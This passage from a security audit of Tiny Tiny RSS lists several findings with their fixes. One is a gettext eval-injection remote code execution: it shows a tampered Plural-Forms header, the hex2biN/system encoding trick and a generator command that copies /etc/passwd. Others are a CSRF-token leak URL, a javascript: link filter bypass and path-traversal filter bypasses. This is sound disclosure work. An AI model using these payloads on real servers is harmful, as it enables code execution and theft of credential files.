User authenticated
User unauthenticated
```

The script changes user's password to `a<<<<<<<` then tries to log in with the password "a" which succeeds. It then tries to use <<<<<<<< as a password in an attempt to use an empty password. This however doesn't change the user password and doesn't even show an error to the user.

Recommendations

If the filter does need to be applied to the password for some reason, passwords with filtered characters should be denied, not truncated, and the user should be notified about characters in the password being invalid.

Fixes

The issue was fixed with the following commits:

– user preferences: forbid < and > characters when changing passwords (were silently stripped on save because of clean()) - `https://git.tt-rss.org/fox/tt-rss/commit/4a074111b5bce126724bf06c9dc83880432e74c9`

3.4.2 TT-RSS1-A02: Potential RCE using translation files

CWE: 95

Description

Latest version of tt-rss is using a vulnerable PHP gettext library. That means that a translator with access to .mo/.po files can run arbitrary code with permissions of the user running tt-rss.

People who are in control of the translation files can insert backdoors into tt-rss by using a clever manual encoding to evade restrictions.

This finding wasn't included in the vulnerabilities section because it's unclear to us whether it's realistical for translators contributing to the project to insert backdoors in the software. Since access to translation files is required to abuse this flaw, an attacker with such permissions could already do a lot of damage without needing to exploit this.

This happens because of this function in `gettext.php`:

```
352   function select_string($n) {
353     if (!is_int($n)) {
354       throw new InvalidArgumentException(
355         "Select_string only accepts integers: " . $n);
356     }
357     $string = $this->get_plural_forms();
358     $string = str_replace('nplurals',"\$total",$string);
359     $string = str_replace("n",$n,$string);
360     $string = str_replace('plural',"\$plural",$string);
361
362     $total = 0;
363     $plural = 0;
364
365     eval("$string");
366     if ($plural >= $total) $plural = $total - 1;
367     return $plural;
368   }
```

Listing 3.5: `/lib/gettext/gettext.php` select_string function

Sending user input to `eval()` is always a bad idea. Variable `$string` is extracted from the plural header of the .po file and usually looks like this:

```
msgid ""
msgstr ""
"Project-Id-Version: tt-rss git\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2020-02-28 08:08+0300\n"
"PO-Revision-Date: 2020-06-01 22:02+0000\n"
"Last-Translator: Eike <weblate.tt-rss.org@lotz.me>\n"
"Language-Team: German <https://weblate.tt-rss.org/projects/tt-rss/messages/"
"de/>\n"
"Language: de_DE\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 4.0.4\n"
"X-Poedit-Bookmarks: -1,557,558,-1,-1,-1,-1,-1,-1,-1\n"
```

Listing 3.6: `/locale/de_DE/LC_MESSAGES/messages.po` header

To create malicious translation files, we need to modify the plural forms header to include a string that will be successfully passed to `eval()` and run our arbitrary code. To run the code successfuly, the header was modified like this, replacing `{exploit}` with the PHP code to be executed:

```
  "Plural-Forms: nplurals=2; plural=1; {exploit}\n"
```

In order to be able to pass the malicious code unaltered, some restrictions need to be taken into account. First of all, the lowercase letter n is not allowed, but the uppercase one is. This makes it possible to call PHP function `hex2biN()` but not `hex2bin()`. Also, many symbols don't get through, so in the end, the payload that worked the best was a hex encoded string, prefixed with `0xA03B`, passed to the `hex2biN()` function, then to `system()`.

Attached to this report, you will find a python script used to generate malicious translation files:

```
$ ./RCE_via_mo_files.py 'cp /etc/passwd /srv/http/tt-rss/passwd'
```

This will create `infected.po` and `infected.mo` in the `files` directory.. Those exploit CVE-2016-6175 in PHP `gettext` <= 1.0.12 to run any commands on the server with the user's privileges.

Now copy the `infected.po` and `infected.mo` files in `/srv/http/tt-rss/locales/de_DE/LC_MESSAGES/` as `messages.po` and `messages.mo` respectively. Reload the tt-rss interface in the targeted language, and wait for command to run.

Recommendations

Update to the latest version of PHP `gettext` library, since this vulnerability has been fixed in 2016.

References

- ExploitDB: PHP gettext 1.0.12 - 'gettext.php' Code Execution - `https://www.exploit-db.com/exploits/40154`
- National Vulnerability Database CVE-2016-6175 Detail - `https://nvd.nist.gov/vuln/detail/CVE-2016-6175`
- Launchpad: Use of eval too unrestrictive - `https://bugs.launchpad.net/php-gettext/+bug/1606184`
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') - `https://cwe.mitre.org/data/definitions/95.html`
- CWE category: OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - `https://cwe.mitre.org/data/definitions/1035.html`

Fixes

At first it seemed the issue is unfixable, the library is unmaintained, and the third party forks weren't compatible. The risk was still low, because someone needs to be able to manipulate translation files for this to work.

However, after some time, a solution was found and there was a public patch for `gettext` which rewrites the parser not to use `eval()` call.

The issue was fixed with the following commits:

- gettext: merge patch from Sunil Mohan Adapa which rewrites plural parser to not use eval() - `https://git.tt-rss.org/fox/tt-rss/commit/3588d5186ef7321fa573adbb62f42b05d7a138be`

3.4.3 TT-RSS1-A03: Relative links on feed

Description

Relative urls in article (img tag or link) get rewritten into absolute, this can be stopped by putting `://` anywhere in url example:

```
/relativeUrl?bypass_filter=://
```

This isn't a vulnerability in itself but is of great help with exploiting CSRF (for logout or XSS->SSRF->RCE chain).

Recommendations

Apply better relative URL check.

Fixes

The issue was fixed with the following commits:

– fix multiple vulnerabilities in af_proxy_http - `https://git.tt-rss.org/fox/tt-rss/commit/c3d14e1fa54c7dade7b1b7955575e2991396d7ef`

3.4.4 TT-RSS1-A04: CSRF token leak

Description

It is possible to grab the CSRF token without having a token in the first place. That could be used for escalating XSS attack.

When sending a GET request to this URL:

```
/backend.php?op=rpc&method=sanitycheck
```

We get a long response also containing the CSRF token:

```
[...]
i":"select_invert","a n":"select_none","f r":"feed_refresh","f a":"feed_unhide_read"
 ,"f s":"feed_subscribe","f e":"feed_edit","f q":"feed_catchup","f x":"feed_reverse"
 ,"f g":"feed_toggle_vgroup","f D":"feed_debug_update","f G":"feed_debug_viewfeed","
 f C":"toggle_combined_mode","f c":"toggle_cdm_expanded","Q":"catchup_all","x":"
 cat_toggle_collapse","g a":"goto_all","g f":"goto_fresh","g s":"goto_marked","g p":
 "goto_published","g r":"goto_read","g t":"goto_tagcloud","g P":"goto_prefs","r":"
 select_article_cursor","c l":"create_label","c f":"create_filter","c s":"
 collapse_sidebar","?":"help_dialog"}],

"csrf_token":"p6fi085f5907b1a8b29",

"widescreen":0,"simple_update":false,"icon_indicator_white":"
[...]
```

Recommendations

Avoid leaking the CSRF token on unprotected pages.

Fixes

The issue was fixed with the following commits:

– remove csrf token from rpc method sanityCheck - `https://git.tt-rss.org/fox/tt-rss/commit/b4cb67e77f3b228c007f58caac234cae1afabe73`

3.4.5 TT-RSS1-A05: XSS javascript URL filter bypass - unexploitable

CWE: 79

Description

It is possible to bypass XSS filter on feed like this:

```
<a href=" javascript:alert('1://')">click me </a>
```

However, attributes `target=_blank` and `rel="noopener noreferer"` stop javascript from executing when the link is clicked. We have not been able to find a way to counteract that.

Recommendations

Trim whitespace in link before filtering for javascript URL's.

References

– CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') - `https://cwe.mitre.org/data/definitions/79.html`

Fixes

The issue was fixed with the following commits:

– fix multiple vulnerabilities in af_proxy_http - `https://git.tt-rss.org/fox/tt-rss/commit/c3d14e1fa54c7dade7b1b7955575e2991396d7ef`

3.4.6 TT-RSS1-A06: Potential Windows LFI

CWE: 22

Description

On Windows systems, `cached_url` functionality in `public.php`, ensures there is only one forwardslash but doesn't check for backslashes. This could lead to local file inclusion on Windows systems. The reason for this not being in the vulnerability section is that we are not sure if tt-rss was ever installed on Windows, and we did not plan to test it in such configuration.

Recommendations

Ensure the same check for backslashes is applied for forwardslashes.

References

– CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') - `https://cwe.mitre.org/data/definitions/22.html`

Fixes

An insignificant number of instances of tt-rss are running on Windows, so the likelihood of someone exploiting this is almost non-existent.

The issue was fixed with the following commits:

– fix multiple vulnerabilities in af_proxy_http - `https://git.tt-rss.org/fox/tt-rss/commit/c3d14e1fa54c7dade7b1b7955575e2991396d7ef`

3.4.7 TT-RSS1-A07: Filter bypass - clean_filename - unexploitable

CWE: 22

Description

Function `clean_filename` whose purpose is to filter for directory traversal can be partially bypassed.

String `/././` , after filtering turns into `..` , additionally regex seems syntactically incorrect.

```
626 function clean_filename($filename) {
627         return basename(preg_replace("/\.\.|[\/\\\]/", "", clean($filename)));
628 }
```

Listing 3.7: `include/functions.php`

The last backslash seems to be a typo. We have not been able to make anything malicious with this.

Recommendations

Fix regex to make sure it can't be bypassed.

References

– CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') - `https://cwe.mitre.org/data/definitions/22.html`

Fixes

The issue was fixed with the following commits:

– fix multiple vulnerabilities in af_proxy_http - `https://git.tt-rss.org/fox/tt-rss/commit/c3d14e1fa54c7dade7b1b7955575e2991396d7ef`